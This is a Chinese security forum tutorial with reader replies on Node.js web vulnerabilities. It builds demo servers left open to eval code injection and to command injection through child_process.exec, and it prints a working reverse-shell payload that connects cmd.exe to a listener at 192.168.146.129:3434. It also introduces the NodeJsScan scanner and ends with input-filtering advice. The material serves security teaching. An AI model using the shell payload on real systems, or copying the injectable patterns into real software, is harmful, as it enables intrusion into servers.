用户
搜索
  • TA的每日心情
    开心
    2017-6-11 12:52
  • 签到天数: 243 天

    连续签到: 1 天

    [LV.8]以坛为家I

    管理员

    Security Personnel

    Rank: 9Rank: 9Rank: 9

    150

    主题

    1377

    帖子

    4944

    魔法币
    收听
    0
    粉丝
    94
    注册时间
    2015-11-4

    幽默灌水王突出贡献春秋文阁春秋巡逻热心助人奖

    zusheng 管理员 Security Personnel 幽默灌水王 突出贡献 春秋文阁 春秋巡逻 热心助人奖 楼主
    发表于 2017-4-17 11:14:01 1023855
    0x01 介绍

    简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。

    0x02 Node.js安装配置

    这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。

    官网:https://nodejs.org/en/download/ 下载软件。

    下载完成后运行,然后一直Next就好了。

    1.png

    最后点击Finish。

    检查环境变量:

    2.png

    我们可以看到环境变量中已经包含了

    C:\Program Files\nodejs\

    牛刀小试:创建第一个Node.js应用

    我们使用PHP来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。

    我们以创建一个输出hello world的Node.js应用为例子。

    在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:

    [JavaScript] 纯文本查看 复制代码
    var http = require("http");
    
    然后我们使用http模块的createServer()方法来创建服务器:
    
    var http = require('http');   
    http.createServer(function (request, response) { 
        // 发送 HTTP 头部 
        // HTTP 状态值: 200 : OK
        // 内容类型: text/plain
        response.writeHead(200, {'Content-Type': 'text/plain'}); 
        // 发送响应数据 "Hello World"
        response.end('Hello World\n');
    }).listen(80);
    
    // 终端打印如下信息
    console.log('Server running at [url]http://127.0.0.1/'[/url]);


    命令运行脚本:

    3.png

    然后我们在另一台机器上访问看看,注意关闭防火墙:

    4.png

    0x02 服务端代码注入

    Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。

    demo代码:

    [JavaScript] 纯文本查看 复制代码
    var http = require('http');
    var url = require('url');
    var util = require('util');
    
    http.createServer(function (req, res) {
        res.writeHead(200, {'Content-Type': 'text/html'})
        var params = url.parse(req.url, true).query;
        res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
        var a = params.a;
        var b = params.b;
        var s =a + b;
        res.write("结果:" + a + "+" + b +"=" + s);
        res.write("</body></html>");
        res.end();
    }).listen(80);
    
    // 终端打印如下信息
    console.log('Server running at [url]http://127.0.0.1/'[/url]);


    这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:

    5.png

    这里就想着用eval函数转换输入的参数类型。

    最终demo代码:

    [JavaScript] 纯文本查看 复制代码
    var http = require('http');
    var url = require('url');
    var util = require('util');
    
    http.createServer(function (req, res) {
        res.writeHead(200, {'Content-Type': 'text/html'})
        var params = url.parse(req.url, true).query;
        res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
        var a = eval(params.a);
        var b = eval(params.b);
        var s =a + b;
        res.write("结果:" + a + "+" + b +"=" + s);
        res.write("</body></html>");
        res.end();
    }).listen(80);
    
    // 终端打印如下信息
    console.log('Server running at [url]http://127.0.0.1/'[/url]);



    然后得到的结果就是两数之和了:

    6.png

    但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。

    反弹shell代码:

    [JavaScript] 纯文本查看 复制代码
    function tan(){
        var net = require("net"),
            cp = require("child_process"),
            cmd = cp.spawn("cmd.exe", []);
        var client = new net.Socket();
        client.connect(3434, "192.168.146.129", function(){
            client.pipe(cmd.stdin);
            cmd.stdout.pipe(client);
            cmd.stderr.pipe(client);
        });
        return 1;
    }tan();

    我们先使用nc来监听本地端口3434:

    7.png

    然后在web端利用漏洞进行代码注入:

    8.png

    然后成功反弹shell:

    9.png

    0x03 系统命令执行

    在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。

    demo-创建一个ping工具:

    [JavaScript] 纯文本查看 复制代码
    var http = require('http');
    var url = require('url');
    var util = require('util');
    var child_process = require('child_process');
    var iconv = require('iconv-lite');
    var encoding = 'cp936';
    var binaryEncoding = 'binary';
    
    http.createServer(function (req, res) {
        res.writeHead(200, {'Content-Type': 'text/html'})
        var params = url.parse(req.url, true).query;
        res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
        child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){
        res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding));
    });
        res.write("</body></html>");
    }).listen(80);
    
    // 终端打印如下信息
    console.log('Server running at [url]http://127.0.0.1/'[/url]);


    演示:

    10.png

    命令注入:

    11.png

    0x04 NodeJsScan

    NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。

    项目地址:https://github.com/ajinabraham/NodeJsScan

    此工具是基于python开发的,首先我们需要安装一下所需模块

    pip install -r requirements.txt
    所需模块都在工具主目录下的requirements.txt中:

    12.png

    注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。

    创建数据库:

    python createdb.py


    数据库设置在core/settings.py文件中

    运行

    python app.py


    然后在http://0.0.0.0:9090打开,注意要设置DEBUG = True

    13.png

    0x05 总结

    大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。

    0x06 参考文章

    1、http://resources.infosecinstitut ... pplications-part-1/

    2、http://resources.infosecinstitut ... pplications-part-2/

    3、https://wiremask.eu/writeups/rev ... nodejs-application/


    本帖被以下淘专辑推荐:

    Hacking the earth
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 10#
    发表于 2017-4-20 16:02:58
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    奖金
    点评
    150
    细节描述的不错,整体逻辑构造清晰,并且搭配了代码讲解,不错,下次努力。

    使用道具 举报 回复
    发表于 2017-4-17 12:07:39
    很好的科普文,顺便抢个沙发
    使用道具 举报 回复
    非常好啊,GET一波知识了
    使用道具 举报 回复
    发表于 2017-4-17 12:26:06
    我去,牛逼膜拜一下
    使用道具 举报 回复
    发表于 2017-4-17 12:45:50
    大赞zusheng表哥,很好的文章,node.js应用挺广泛的,抽空来一发
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2017-4-17 13:06:34
    厉害了zusheng表哥,学习一波
    来啊~快活啊~
    使用道具 举报 回复
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    6#
    发表于 2017-4-17 13:58:51
    xiaoye 发表于 2017-4-17 12:45
    大赞zusheng表哥,很好的文章,node.js应用挺广泛的,抽空来一发

    期待小叶来一发,哈哈
    使用道具 举报 回复
    学习一波
    使用道具 举报 回复
    发表于 2017-4-19 13:27:23
    入门学习一波
    使用道具 举报 回复
    发表于 2017-4-20 18:34:10
    学习一波
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册